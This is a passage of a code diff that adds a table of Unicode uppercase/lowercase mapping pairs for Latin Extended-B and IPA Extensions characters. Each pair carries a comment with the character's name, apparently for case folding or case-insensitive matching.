+ ["\u018A", "\u0257"], /* LATIN CAPITAL LETTER D WITH HOOK (LATIN CAPITAL LETTER D HOOK) */
+ ["\u018B", "\u018C"], /* LATIN CAPITAL LETTER D WITH TOPBAR (LATIN CAPITAL LETTER D TOPBAR) */
+ ["\u018B", "\u018C"], /* LATIN SMALL LETTER D WITH TOPBAR (LATIN SMALL LETTER D TOPBAR) */
+ ["\u018D", "\u018D"], /* LATIN SMALL LETTER TURNED DELTA */
+ ["\u018E", "\u01DD"], /* LATIN CAPITAL LETTER REVERSED E (LATIN CAPITAL LETTER TURNED E) */
+ ["\u018F", "\u0259"], /* LATIN CAPITAL LETTER SCHWA */
+ ["\u0190", "\u025B"], /* LATIN CAPITAL LETTER OPEN E (LATIN CAPITAL LETTER EPSILON) */
+ ["\u0191", "\u0192"], /* LATIN CAPITAL LETTER F WITH HOOK (LATIN CAPITAL LETTER F HOOK) */
+ ["\u0191", "\u0192"], /* LATIN SMALL LETTER F WITH HOOK (LATIN SMALL LETTER SCRIPT F) */
+ ["\u0193", "\u0260"], /* LATIN CAPITAL LETTER G WITH HOOK (LATIN CAPITAL LETTER G HOOK) */
+ ["\u0194", "\u0263"], /* LATIN CAPITAL LETTER GAMMA */
+ ["\u01F6", "\u0195"], /* LATIN SMALL LETTER HV (LATIN SMALL LETTER H V) */
+ ["\u0196", "\u0269"], /* LATIN CAPITAL LETTER IOTA */
+ ["\u0197", "\u0268"], /* LATIN CAPITAL LETTER I WITH STROKE (LATIN CAPITAL LETTER BARRED I) */
+ ["\u0198", "\u0199"], /* LATIN CAPITAL LETTER K WITH HOOK (LATIN CAPITAL LETTER K HOOK) */
+ ["\u0198", "\u0199"], /* LATIN SMALL LETTER K WITH HOOK (LATIN SMALL LETTER K HOOK) */
+ ["\u023D", "\u019A"], /* LATIN SMALL LETTER L WITH BAR (LATIN SMALL LETTER BARRED L) */
+ ["\u019B", "\u019B"], /* LATIN SMALL LETTER LAMBDA WITH STROKE (LATIN SMALL LETTER BARRED LAMBDA) */
+ ["\u019C", "\u026F"], /* LATIN CAPITAL LETTER TURNED M */
+ ["\u019D", "\u0272"], /* LATIN CAPITAL LETTER N WITH LEFT HOOK (LATIN CAPITAL LETTER N HOOK) */
+ ["\u0220", "\u019E"], /* LATIN SMALL LETTER N WITH LONG RIGHT LEG */
+ ["\u019F", "\u0275"], /* LATIN CAPITAL LETTER O WITH MIDDLE TILDE (LATIN CAPITAL LETTER BARRED O) */
+ ["\u01A0", "\u01A1"], /* LATIN CAPITAL LETTER O WITH HORN (LATIN CAPITAL LETTER O HORN) */
+ ["\u01A0", "\u01A1"], /* LATIN SMALL LETTER O WITH HORN (LATIN SMALL LETTER O HORN) */
+ ["\u01A2", "\u01A3"], /* LATIN CAPITAL LETTER OI (LATIN CAPITAL LETTER O I) */
+ ["\u01A2", "\u01A3"], /* LATIN SMALL LETTER OI (LATIN SMALL LETTER O I) */
+ ["\u01A4", "\u01A5"], /* LATIN CAPITAL LETTER P WITH HOOK (LATIN CAPITAL LETTER P HOOK) */
+ ["\u01A4", "\u01A5"], /* LATIN SMALL LETTER P WITH HOOK (LATIN SMALL LETTER P HOOK) */
+ ["\u01A6", "\u0280"], /* LATIN LETTER YR (LATIN LETTER Y R) */
+ ["\u01A7", "\u01A8"], /* LATIN CAPITAL LETTER TONE TWO */
+ ["\u01A7", "\u01A8"], /* LATIN SMALL LETTER TONE TWO */
+ ["\u01A9", "\u0283"], /* LATIN CAPITAL LETTER ESH */
+ ["\u01AA", "\u01AA"], /* LATIN LETTER REVERSED ESH LOOP */
+ ["\u01AB", "\u01AB"], /* LATIN SMALL LETTER T WITH PALATAL HOOK (LATIN SMALL LETTER T PALATAL HOOK) */
+ ["\u01AC", "\u01AD"], /* LATIN CAPITAL LETTER T WITH HOOK (LATIN CAPITAL LETTER T HOOK) */
+ ["\u01AC", "\u01AD"], /* LATIN SMALL LETTER T WITH HOOK (LATIN SMALL LETTER T HOOK) */
+ ["\u01AE", "\u0288"], /* LATIN CAPITAL LETTER T WITH RETROFLEX HOOK (LATIN CAPITAL LETTER T RETROFLEX HOOK) */
+ ["\u01AF", "\u01B0"], /* LATIN CAPITAL LETTER U WITH HORN (LATIN CAPITAL LETTER U HORN) */
+ ["\u01AF", "\u01B0"], /* LATIN SMALL LETTER U WITH HORN (LATIN SMALL LETTER U HORN) */
+ ["\u01B1", "\u028A"], /* LATIN CAPITAL LETTER UPSILON */
+ ["\u01B2", "\u028B"], /* LATIN CAPITAL LETTER V WITH HOOK (LATIN CAPITAL LETTER SCRIPT V) */
+ ["\u01B3", "\u01B4"], /* LATIN CAPITAL LETTER Y WITH HOOK (LATIN CAPITAL LETTER Y HOOK) */
+ ["\u01B3", "\u01B4"], /* LATIN SMALL LETTER Y WITH HOOK (LATIN SMALL LETTER Y HOOK) */
+ ["\u01B5", "\u01B6"], /* LATIN CAPITAL LETTER Z WITH STROKE (LATIN CAPITAL LETTER Z BAR) */
+ ["\u01B5", "\u01B6"], /* LATIN SMALL LETTER Z WITH STROKE (LATIN SMALL LETTER Z BAR) */
+ ["\u01B7", "\u0292"], /* LATIN CAPITAL LETTER EZH (LATIN CAPITAL LETTER YOGH) */
+ ["\u01B8", "\u01B9"], /* LATIN CAPITAL LETTER EZH REVERSED (LATIN CAPITAL LETTER REVERSED YOGH) */
+ ["\u01B8", "\u01B9"], /* LATIN SMALL LETTER EZH REVERSED (LATIN SMALL LETTER REVERSED YOGH) */
+ ["\u01BA", "\u01BA"], /* LATIN SMALL LETTER EZH WITH TAIL (LATIN SMALL LETTER YOGH WITH TAIL) */
+ ["\u01BB", "\u01BB"], /* LATIN LETTER TWO WITH STROKE (LATIN LETTER TWO BAR) */
+ ["\u01BC", "\u01BD"], /* LATIN CAPITAL LETTER TONE FIVE */
+ ["\u01BC", "\u01BD"], /* LATIN SMALL LETTER TONE FIVE */
+ ["\u01BE", "\u01BE"], /* LATIN LETTER INVERTED GLOTTAL STOP WITH STROKE (LATIN LETTER INVERTED GLOTTAL STOP BAR) */
+ ["\u01F7", "\u01BF"], /* LATIN LETTER WYNN */
+ ["\u01C0", "\u01C0"], /* LATIN LETTER DENTAL CLICK (LATIN LETTER PIPE) */
+ ["\u01C1", "\u01C1"], /* LATIN LETTER LATERAL CLICK (LATIN LETTER DOUBLE PIPE) */
+ ["\u01C2", "\u01C2"], /* LATIN LETTER ALVEOLAR CLICK (LATIN LETTER PIPE DOUBLE BAR) */
+ ["\u01C3", "\u01C3"], /* LATIN LETTER RETROFLEX CLICK (LATIN LETTER EXCLAMATION MARK) */
+ ["\u01C4", "\u01C6"], /* LATIN CAPITAL LETTER DZ WITH CARON (LATIN CAPITAL LETTER D Z HACEK) */
+ ["\u01C4", "\u01C6"], /* LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON (LATIN LETTER CAPITAL D SMALL Z HACEK) */
+ ["\u01C4", "\u01C6"], /* LATIN SMALL LETTER DZ WITH CARON (LATIN SMALL LETTER D Z HACEK) */
+ ["\u01C7", "\u01C9"], /* LATIN CAPITAL LETTER LJ (LATIN CAPITAL LETTER L J) */
+ ["\u01C7", "\u01C9"], /* LATIN CAPITAL LETTER L WITH SMALL LETTER J (LATIN LETTER CAPITAL L SMALL J) */
+ ["\u01C7", "\u01C9"], /* LATIN SMALL LETTER LJ (LATIN SMALL LETTER L J) */
+ ["\u01CA", "\u01CC"], /* LATIN CAPITAL LETTER NJ (LATIN CAPITAL LETTER N J) */
+ ["\u01CA", "\u01CC"], /* LATIN CAPITAL LETTER N WITH SMALL LETTER J (LATIN LETTER CAPITAL N SMALL J) */
+ ["\u01CA", "\u01CC"], /* LATIN SMALL LETTER NJ (LATIN SMALL LETTER N J) */
+ ["\u01CD", "\u01CE"], /* LATIN CAPITAL LETTER A WITH CARON (LATIN CAPITAL LETTER A HACEK) */
+ ["\u01CD", "\u01CE"], /* LATIN SMALL LETTER A WITH CARON (LATIN SMALL LETTER A HACEK) */
+ ["\u01CF", "\u01D0"], /* LATIN CAPITAL LETTER I WITH CARON (LATIN CAPITAL LETTER I HACEK) */
+ ["\u01CF", "\u01D0"], /* LATIN SMALL LETTER I WITH CARON (LATIN SMALL LETTER I HACEK) */
+ ["\u01D1", "\u01D2"], /* LATIN CAPITAL LETTER O WITH CARON (LATIN CAPITAL LETTER O HACEK) */
+ ["\u01D1", "\u01D2"], /* LATIN SMALL LETTER O WITH CARON (LATIN SMALL LETTER O HACEK) */
+ ["\u01D3", "\u01D4"], /* LATIN CAPITAL LETTER U WITH CARON (LATIN CAPITAL LETTER U HACEK) */
+ ["\u01D3", "\u01D4"], /* LATIN SMALL LETTER U WITH CARON (LATIN SMALL LETTER U HACEK) */
+ ["\u01D5", "\u01D6"], /* LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON (LATIN CAPITAL LETTER U DIAERESIS MACRON) */
+ ["\u01D5", "\u01D6"], /* LATIN SMALL LETTER U WITH DIAERESIS AND MACRON (LATIN SMALL LETTER U DIAERESIS MACRON) */
+ ["\u01D7", "\u01D8"], /* LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE (LATIN CAPITAL LETTER U DIAERESIS ACUTE) */
+ ["\u01D7", "\u01D8"], /* LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE (LATIN SMALL LETTER U DIAERESIS ACUTE) */
+ ["\u01D9", "\u01DA"], /* LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON (LATIN CAPITAL LETTER U DIAERESIS HACEK) */
+ ["\u01D9", "\u01DA"], /* LATIN SMALL LETTER U WITH DIAERESIS AND CARON (LATIN SMALL LETTER U DIAERESIS HACEK) */
+ ["\u01DB", "\u01DC"], /* LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE (LATIN CAPITAL LETTER U DIAERESIS GRAVE) */
+ ["\u01DB", "\u01DC"], /* LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE (LATIN SMALL LETTER U DIAERESIS GRAVE) */
+ ["\u018E", "\u01DD"], /* LATIN SMALL LETTER TURNED E */
+ ["\u01DE", "\u01DF"], /* LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON (LATIN CAPITAL LETTER A DIAERESIS MACRON) */
+ ["\u01DE", "\u01DF"], /* LATIN SMALL LETTER A WITH DIAERESIS AND MACRON (LATIN SMALL LETTER A DIAERESIS MACRON) */
+ ["\u01E0", "\u01E1"], /* LATIN CAPITAL LETTER A WITH DOT ABOVE AND MACRON (LATIN CAPITAL LETTER A DOT MACRON) */
+ ["\u01E0", "\u01E1"], /* LATIN SMALL LETTER A WITH DOT ABOVE AND MACRON (LATIN SMALL LETTER A DOT MACRON) */
+ ["\u01E2", "\u01E3"], /* LATIN CAPITAL LETTER AE WITH MACRON (LATIN CAPITAL LETTER A E MACRON) */
+ ["\u01E2", "\u01E3"], /* LATIN SMALL LETTER AE WITH MACRON (LATIN SMALL LETTER A E MACRON) */
+ ["\u01E4", "\u01E5"], /* LATIN CAPITAL LETTER G WITH STROKE (LATIN CAPITAL LETTER G BAR) */
+ ["\u01E4", "\u01E5"], /* LATIN SMALL LETTER G WITH STROKE (LATIN SMALL LETTER G BAR) */
+ ["\u01E6", "\u01E7"], /* LATIN CAPITAL LETTER G WITH CARON (LATIN CAPITAL LETTER G HACEK) */
+ ["\u01E6", "\u01E7"], /* LATIN SMALL LETTER G WITH CARON (LATIN SMALL LETTER G HACEK) */
+ ["\u01E8", "\u01E9"], /* LATIN CAPITAL LETTER K WITH CARON (LATIN CAPITAL LETTER K HACEK) */
+ ["\u01E8", "\u01E9"], /* LATIN SMALL LETTER K WITH CARON (LATIN SMALL LETTER K HACEK) */
+ ["\u01EA", "\u01EB"], /* LATIN CAPITAL LETTER O WITH OGONEK (LATIN CAPITAL LETTER O OGONEK) */
+ ["\u01EA", "\u01EB"], /* LATIN SMALL LETTER O WITH OGONEK (LATIN SMALL LETTER O OGONEK) */
+ ["\u01EC", "\u01ED"], /* LATIN CAPITAL LETTER O WITH OGONEK AND MACRON (LATIN CAPITAL LETTER O OGONEK MACRON) */
+ ["\u01EC", "\u01ED"], /* LATIN SMALL LETTER O WITH OGONEK AND MACRON (LATIN SMALL LETTER O OGONEK MACRON) */
+ ["\u01EE", "\u01EF"], /* LATIN CAPITAL LETTER EZH WITH CARON (LATIN CAPITAL LETTER YOGH HACEK) */
+ ["\u01EE", "\u01EF"], /* LATIN SMALL LETTER EZH WITH CARON (LATIN SMALL LETTER YOGH HACEK) */
+ ["\u004A\u030C", "\u01F0"], /* LATIN SMALL LETTER J WITH CARON (LATIN SMALL LETTER J HACEK) */
+ ["\u01F1", "\u01F3"], /* LATIN CAPITAL LETTER DZ */
+ ["\u01F1", "\u01F3"], /* LATIN CAPITAL LETTER D WITH SMALL LETTER Z */
+ ["\u01F1", "\u01F3"], /* LATIN SMALL LETTER DZ */
+ ["\u01F4", "\u01F5"], /* LATIN CAPITAL LETTER G WITH ACUTE */
+ ["\u01F4", "\u01F5"], /* LATIN SMALL LETTER G WITH ACUTE */
+ ["\u01F6", "\u0195"], /* LATIN CAPITAL LETTER HWAIR */
+ ["\u01F7", "\u01BF"], /* LATIN CAPITAL LETTER WYNN */
+ ["\u01F8", "\u01F9"], /* LATIN CAPITAL LETTER N WITH GRAVE */
+ ["\u01F8", "\u01F9"], /* LATIN SMALL LETTER N WITH GRAVE */
+ ["\u01FA", "\u01FB"], /* LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE */
+ ["\u01FA", "\u01FB"], /* LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE */
+ ["\u01FC", "\u01FD"], /* LATIN CAPITAL LETTER AE WITH ACUTE */
+ ["\u01FC", "\u01FD"], /* LATIN SMALL LETTER AE WITH ACUTE */
+ ["\u01FE", "\u01FF"], /* LATIN CAPITAL LETTER O WITH STROKE AND ACUTE */
+ ["\u01FE", "\u01FF"], /* LATIN SMALL LETTER O WITH STROKE AND ACUTE */
+ ["\u0200", "\u0201"], /* LATIN CAPITAL LETTER A WITH DOUBLE GRAVE */
+ ["\u0200", "\u0201"], /* LATIN SMALL LETTER A WITH DOUBLE GRAVE */
+ ["\u0202", "\u0203"], /* LATIN CAPITAL LETTER A WITH INVERTED BREVE */
+ ["\u0202", "\u0203"], /* LATIN SMALL LETTER A WITH INVERTED BREVE */
+ ["\u0204", "\u0205"], /* LATIN CAPITAL LETTER E WITH DOUBLE GRAVE */
+ ["\u0204", "\u0205"], /* LATIN SMALL LETTER E WITH DOUBLE GRAVE */
+ ["\u0206", "\u0207"], /* LATIN CAPITAL LETTER E WITH INVERTED BREVE */
+ ["\u0206", "\u0207"], /* LATIN SMALL LETTER E WITH INVERTED BREVE */
+ ["\u0208", "\u0209"], /* LATIN CAPITAL LETTER I WITH DOUBLE GRAVE */
+ ["\u0208", "\u0209"], /* LATIN SMALL LETTER I WITH DOUBLE GRAVE */
+ ["\u020A", "\u020B"], /* LATIN CAPITAL LETTER I WITH INVERTED BREVE */
+ ["\u020A", "\u020B"], /* LATIN SMALL LETTER I WITH INVERTED BREVE */
+ ["\u020C", "\u020D"], /* LATIN CAPITAL LETTER O WITH DOUBLE GRAVE */
+ ["\u020C", "\u020D"], /* LATIN SMALL LETTER O WITH DOUBLE GRAVE */
+ ["\u020E", "\u020F"], /* LATIN CAPITAL LETTER O WITH INVERTED BREVE */
+ ["\u020E", "\u020F"], /* LATIN SMALL LETTER O WITH INVERTED BREVE */
+ ["\u0210", "\u0211"], /* LATIN CAPITAL LETTER R WITH DOUBLE GRAVE */
+ ["\u0210", "\u0211"], /* LATIN SMALL LETTER R WITH DOUBLE GRAVE */
+ ["\u0212", "\u0213"], /* LATIN CAPITAL LETTER R WITH INVERTED BREVE */
+ ["\u0212", "\u0213"], /* LATIN SMALL LETTER R WITH INVERTED BREVE */
+ ["\u0214", "\u0215"], /* LATIN CAPITAL LETTER U WITH DOUBLE GRAVE */
+ ["\u0214", "\u0215"], /* LATIN SMALL LETTER U WITH DOUBLE GRAVE */
+ ["\u0216", "\u0217"], /* LATIN CAPITAL LETTER U WITH INVERTED BREVE */
+ ["\u0216", "\u0217"], /* LATIN SMALL LETTER U WITH INVERTED BREVE */
+ ["\u0218", "\u0219"], /* LATIN CAPITAL LETTER S WITH COMMA BELOW */
+ ["\u0218", "\u0219"], /* LATIN SMALL LETTER S WITH COMMA BELOW */
+ ["\u021A", "\u021B"], /* LATIN CAPITAL LETTER T WITH COMMA BELOW */
+ ["\u021A", "\u021B"], /* LATIN SMALL LETTER T WITH COMMA BELOW */
+ ["\u021C", "\u021D"], /* LATIN CAPITAL LETTER YOGH */
+ ["\u021C", "\u021D"], /* LATIN SMALL LETTER YOGH */
+ ["\u021E", "\u021F"], /* LATIN CAPITAL LETTER H WITH CARON */
+ ["\u021E", "\u021F"], /* LATIN SMALL LETTER H WITH CARON */
+ ["\u0220", "\u019E"], /* LATIN CAPITAL LETTER N WITH LONG RIGHT LEG */
+ ["\u0221", "\u0221"], /* LATIN SMALL LETTER D WITH CURL */
+ ["\u0222", "\u0223"], /* LATIN CAPITAL LETTER OU */
+ ["\u0222", "\u0223"], /* LATIN SMALL LETTER OU */
+ ["\u0224", "\u0225"], /* LATIN CAPITAL LETTER Z WITH HOOK */
+ ["\u0224", "\u0225"], /* LATIN SMALL LETTER Z WITH HOOK */
+ ["\u0226", "\u0227"], /* LATIN CAPITAL LETTER A WITH DOT ABOVE */
+ ["\u0226", "\u0227"], /* LATIN SMALL LETTER A WITH DOT ABOVE */
+ ["\u0228", "\u0229"], /* LATIN CAPITAL LETTER E WITH CEDILLA */
+ ["\u0228", "\u0229"], /* LATIN SMALL LETTER E WITH CEDILLA */
+ ["\u022A", "\u022B"], /* LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON */
+ ["\u022A", "\u022B"], /* LATIN SMALL LETTER O WITH DIAERESIS AND MACRON */
+ ["\u022C", "\u022D"], /* LATIN CAPITAL LETTER O WITH TILDE AND MACRON */
+ ["\u022C", "\u022D"], /* LATIN SMALL LETTER O WITH TILDE AND MACRON */
+ ["\u022E", "\u022F"], /* LATIN CAPITAL LETTER O WITH DOT ABOVE */
+ ["\u022E", "\u022F"], /* LATIN SMALL LETTER O WITH DOT ABOVE */
+ ["\u0230", "\u0231"], /* LATIN CAPITAL LETTER O WITH DOT ABOVE AND MACRON */
+ ["\u0230", "\u0231"], /* LATIN SMALL LETTER O WITH DOT ABOVE AND MACRON */
+ ["\u0232", "\u0233"], /* LATIN CAPITAL LETTER Y WITH MACRON */
+ ["\u0232", "\u0233"], /* LATIN SMALL LETTER Y WITH MACRON */
+ ["\u0234", "\u0234"], /* LATIN SMALL LETTER L WITH CURL */
+ ["\u0235", "\u0235"], /* LATIN SMALL LETTER N WITH CURL */
+ ["\u0236", "\u0236"], /* LATIN SMALL LETTER T WITH CURL */
+ ["\u0237", "\u0237"], /* LATIN SMALL LETTER DOTLESS J */
+ ["\u0238", "\u0238"], /* LATIN SMALL LETTER DB DIGRAPH */
+ ["\u0239", "\u0239"], /* LATIN SMALL LETTER QP DIGRAPH */
+ ["\u023A", "\u2C65"], /* LATIN CAPITAL LETTER A WITH STROKE */
+ ["\u023B", "\u023C"], /* LATIN CAPITAL LETTER C WITH STROKE */
+ ["\u023B", "\u023C"], /* LATIN SMALL LETTER C WITH STROKE */
+ ["\u023D", "\u019A"], /* LATIN CAPITAL LETTER L WITH BAR */
+ ["\u023E", "\u2C66"], /* LATIN CAPITAL LETTER T WITH DIAGONAL STROKE */
+ ["\u2C7E", "\u023F"], /* LATIN SMALL LETTER S WITH SWASH TAIL */
+ ["\u2C7F", "\u0240"], /* LATIN SMALL LETTER Z WITH SWASH TAIL */
+ ["\u0241", "\u0242"], /* LATIN CAPITAL LETTER GLOTTAL STOP */
+ ["\u0241", "\u0242"], /* LATIN SMALL LETTER GLOTTAL STOP */
+ ["\u0243", "\u0180"], /* LATIN CAPITAL LETTER B WITH STROKE */
+ ["\u0244", "\u0289"], /* LATIN CAPITAL LETTER U BAR */
+ ["\u0245", "\u028C"], /* LATIN CAPITAL LETTER TURNED V */
+ ["\u0246", "\u0247"], /* LATIN CAPITAL LETTER E WITH STROKE */
+ ["\u0246", "\u0247"], /* LATIN SMALL LETTER E WITH STROKE */
+ ["\u0248", "\u0249"], /* LATIN CAPITAL LETTER J WITH STROKE */
+ ["\u0248", "\u0249"], /* LATIN SMALL LETTER J WITH STROKE */
+ ["\u024A", "\u024B"], /* LATIN CAPITAL LETTER SMALL Q WITH HOOK TAIL */
+ ["\u024A", "\u024B"], /* LATIN SMALL LETTER Q WITH HOOK TAIL */
+ ["\u024C", "\u024D"], /* LATIN CAPITAL LETTER R WITH STROKE */
+ ["\u024C", "\u024D"], /* LATIN SMALL LETTER R WITH STROKE */
+ ["\u024E", "\u024F"], /* LATIN CAPITAL LETTER Y WITH STROKE */
+ ["\u024E", "\u024F"], /* LATIN SMALL LETTER Y WITH STROKE */
+ ["\u2C6F", "\u0250"], /* LATIN SMALL LETTER TURNED A */
+ ["\u2C6D", "\u0251"], /* LATIN SMALL LETTER ALPHA (LATIN SMALL LETTER SCRIPT A) */
+ ["\u2C70", "\u0252"], /* LATIN SMALL LETTER TURNED ALPHA (LATIN SMALL LETTER TURNED SCRIPT A) */
+ ["\u0181", "\u0253"], /* LATIN SMALL LETTER B WITH HOOK (LATIN SMALL LETTER B HOOK) */
+ ["\u0186", "\u0254"], /* LATIN SMALL LETTER OPEN O */
+ ["\u0255", "\u0255"], /* LATIN SMALL LETTER C WITH CURL (LATIN SMALL LETTER C CURL) */
+ ["\u0189", "\u0256"], /* LATIN SMALL LETTER D WITH TAIL (LATIN SMALL LETTER D RETROFLEX HOOK) */
+ ["\u018A", "\u0257"], /* LATIN SMALL LETTER D WITH HOOK (LATIN SMALL LETTER D HOOK) */
+ ["\u0258", "\u0258"], /* LATIN SMALL LETTER REVERSED E */
+ ["\u018F", "\u0259"], /* LATIN SMALL LETTER SCHWA */
+ ["\u025A", "\u025A"], /* LATIN SMALL LETTER SCHWA WITH HOOK (LATIN SMALL LETTER SCHWA HOOK) */
+ ["\u0190", "\u025B"], /* LATIN SMALL LETTER OPEN E (LATIN SMALL LETTER EPSILON) */
+ ["\uA7AB", "\u025C"], /* LATIN SMALL LETTER REVERSED OPEN E (LATIN SMALL LETTER REVERSED EPSILON) */
+ ["\u025D", "\u025D"], /* LATIN SMALL LETTER REVERSED OPEN E WITH HOOK (LATIN SMALL LETTER REVERSED EPSILON HOOK) */
+ ["\u025E", "\u025E"], /* LATIN SMALL LETTER CLOSED REVERSED OPEN E (LATIN SMALL LETTER CLOSED REVERSED EPSILON) */
+ ["\u025F", "\u025F"], /* LATIN SMALL LETTER DOTLESS J WITH STROKE (LATIN SMALL LETTER DOTLESS J BAR) */
+ ["\u0193", "\u0260"], /* LATIN SMALL LETTER G WITH HOOK (LATIN SMALL LETTER G HOOK) */
+ ["\uA7AC", "\u0261"], /* LATIN SMALL LETTER SCRIPT G */
+ ["\u0262", "\u0262"], /* LATIN LETTER SMALL CAPITAL G */
+ ["\u0194", "\u0263"], /* LATIN SMALL LETTER GAMMA */
+ ["\u0264", "\u0264"], /* LATIN SMALL LETTER RAMS HORN (LATIN SMALL LETTER BABY GAMMA) */
+ ["\uA78D", "\u0265"], /* LATIN SMALL LETTER TURNED H */
+ ["\uA7AA", "\u0266"], /* LATIN SMALL LETTER H WITH HOOK (LATIN SMALL LETTER H HOOK) */
+ ["\u0267", "\u0267"], /* LATIN SMALL LETTER HENG WITH HOOK (LATIN SMALL LETTER HENG HOOK) */
+ ["\u0197", "\u0268"], /* LATIN SMALL LETTER I WITH STROKE (LATIN SMALL LETTER BARRED I) */
+ ["\u0196", "\u0269"], /* LATIN SMALL LETTER IOTA */
+ ["\uA7AE", "\u026A"], /* LATIN LETTER SMALL CAPITAL I */
+ ["\u2C62", "\u026B"], /* LATIN SMALL LETTER L WITH MIDDLE TILDE */
+ ["\uA7AD", "\u026C"], /* LATIN SMALL LETTER L WITH BELT (LATIN SMALL LETTER L BELT) */
+ ["\u026D", "\u026D"], /* LATIN SMALL LETTER L WITH RETROFLEX HOOK (LATIN SMALL LETTER L RETROFLEX HOOK) */
+ ["\u026E", "\u026E"], /* LATIN SMALL LETTER LEZH (LATIN SMALL LETTER L YOGH) */
+ ["\u019C", "\u026F"], /* LATIN SMALL LETTER TURNED M */
+ ["\u0270", "\u0270"], /* LATIN SMALL LETTER TURNED M WITH LONG LEG */
+ ["\u2C6E", "\u0271"], /* LATIN SMALL LETTER M WITH HOOK (LATIN SMALL LETTER M HOOK) */
+ ["\u019D", "\u0272"], /* LATIN SMALL LETTER N WITH LEFT HOOK (LATIN SMALL LETTER N HOOK) */
+ ["\u0273", "\u0273"], /* LATIN SMALL LETTER N WITH RETROFLEX HOOK (LATIN SMALL LETTER N RETROFLEX HOOK) */
+ ["\u0274", "\u0274"], /* LATIN LETTER SMALL CAPITAL N */
+ ["\u019F", "\u0275"], /* LATIN SMALL LETTER BARRED O */
+ ["\u0276", "\u0276"], /* LATIN LETTER SMALL CAPITAL OE (LATIN LETTER SMALL CAPITAL O E) */
+ ["\u0277", "\u0277"], /* LATIN SMALL LETTER CLOSED OMEGA */
+ ["\u0278", "\u0278"], /* LATIN SMALL LETTER PHI */
+ ["\u0279", "\u0279"], /* LATIN SMALL LETTER TURNED R */
+ ["\u027A", "\u027A"], /* LATIN SMALL LETTER TURNED R WITH LONG LEG */
+ ["\u027B", "\u027B"], /* LATIN SMALL LETTER TURNED R WITH HOOK (LATIN SMALL LETTER TURNED R HOOK) */
+ ["\u027C", "\u027C"], /* LATIN SMALL LETTER R WITH LONG LEG */
+ ["\u2C64", "\u027D"], /* LATIN SMALL LETTER R WITH TAIL (LATIN SMALL LETTER R HOOK) */
+ ["\u027E", "\u027E"], /* LATIN SMALL LETTER R WITH FISHHOOK (LATIN SMALL LETTER FISHHOOK R) */
+ ["\u027F", "\u027F"], /* LATIN SMALL LETTER REVERSED R WITH FISHHOOK (LATIN SMALL LETTER REVERSED FISHHOOK R) */
+ ["\u01A6", "\u0280"], /* LATIN LETTER SMALL CAPITAL R */
+ ["\u0281", "\u0281"], /* LATIN LETTER SMALL CAPITAL INVERTED R */
+ ["\uA7C5", "\u0282"], /* LATIN SMALL LETTER S WITH HOOK (LATIN SMALL LETTER S HOOK) */
+ ["\u01A9", "\u0283"], /* LATIN SMALL LETTER ESH */
+ ["\u0284", "\u0284"], /* LATIN SMALL LETTER DOTLESS J WITH STROKE AND HOOK (LATIN SMALL LETTER DOTLESS J BAR HOOK) */
+ ["\u0285", "\u0285"], /* LATIN SMALL LETTER SQUAT REVERSED ESH */
+ ["\u0286", "\u0286"], /* LATIN SMALL LETTER ESH WITH CURL (LATIN SMALL LETTER ESH CURL) */
+ ["\uA7B1", "\u0287"], /* LATIN SMALL LETTER TURNED T */
+ ["\u01AE", "\u0288"], /* LATIN SMALL LETTER T WITH RETROFLEX HOOK (LATIN SMALL LETTER T RETROFLEX HOOK) */
+ ["\u0244", "\u0289"], /* LATIN SMALL LETTER U BAR */
+ ["\u01B1", "\u028A"], /* LATIN SMALL LETTER UPSILON */
+ ["\u01B2", "\u028B"], /* LATIN SMALL LETTER V WITH HOOK (LATIN SMALL LETTER SCRIPT V) */
+ ["\u0245", "\u028C"], /* LATIN SMALL LETTER TURNED V */
+ ["\u028D", "\u028D"], /* LATIN SMALL LETTER TURNED W */
+ ["\u028E", "\u028E"], /* LATIN SMALL LETTER TURNED Y */
+ ["\u028F", "\u028F"], /* LATIN LETTER SMALL CAPITAL Y */
+ ["\u0290", "\u0290"], /* LATIN SMALL LETTER Z WITH RETROFLEX HOOK (LATIN SMALL LETTER Z RETROFLEX HOOK) */
+ ["\u0291", "\u0291"], /* LATIN SMALL LETTER Z WITH CURL (LATIN SMALL LETTER Z CURL) */
+ ["\u01B7", "\u0292"], /* LATIN SMALL LETTER EZH (LATIN SMALL LETTER YOGH) */
+ ["\u0293", "\u0293"], /* LATIN SMALL LETTER EZH WITH CURL (LATIN SMALL LETTER YOGH CURL) */
+ ["\u0294", "\u0294"], /* LATIN LETTER GLOTTAL STOP */
+ ["\u0295", "\u0295"], /* LATIN LETTER PHARYNGEAL VOICED FRICATIVE (LATIN LETTER REVERSED GLOTTAL STOP) */
+ ["\u0296", "\u0296"], /* LATIN LETTER INVERTED GLOTTAL STOP */
+ ["\u0297", "\u0297"], /* LATIN LETTER STRETCHED C */
+ ["\u0298", "\u0298"], /* LATIN LETTER BILABIAL CLICK (LATIN LETTER BULLSEYE) */
+ ["\u0299", "\u0299"], /* LATIN LETTER SMALL CAPITAL B */
+ ["\u029A", "\u029A"], /* LATIN SMALL LETTER CLOSED OPEN E (LATIN SMALL LETTER CLOSED EPSILON) */
+ ["\u029B", "\u029B"], /* LATIN LETTER SMALL CAPITAL G WITH HOOK (LATIN LETTER SMALL CAPITAL G HOOK) */
+ ["\u029C", "\u029C"], /* LATIN LETTER SMALL CAPITAL H */
+ ["\uA7B2", "\u029D"], /* LATIN SMALL LETTER J WITH CROSSED-TAIL (LATIN SMALL LETTER CROSSED-TAIL J) */
+ ["\uA7B0", "\u029E"], /* LATIN SMALL LETTER TURNED K */
+ ["\u029F", "\u029F"], /* LATIN LETTER SMALL CAPITAL L */
+ ["\u02A0", "\u02A0"], /* LATIN SMALL LETTER Q WITH HOOK (LATIN SMALL LETTER Q HOOK) */
+ ["\u02A1", "\u02A1"], /* LATIN LETTER GLOTTAL STOP WITH STROKE (LATIN LETTER GLOTTAL STOP BAR) */
+ ["\u02A2", "\u02A2"], /* LATIN LETTER REVERSED GLOTTAL STOP WITH STROKE (LATIN LETTER REVERSED GLOTTAL STOP BAR) */
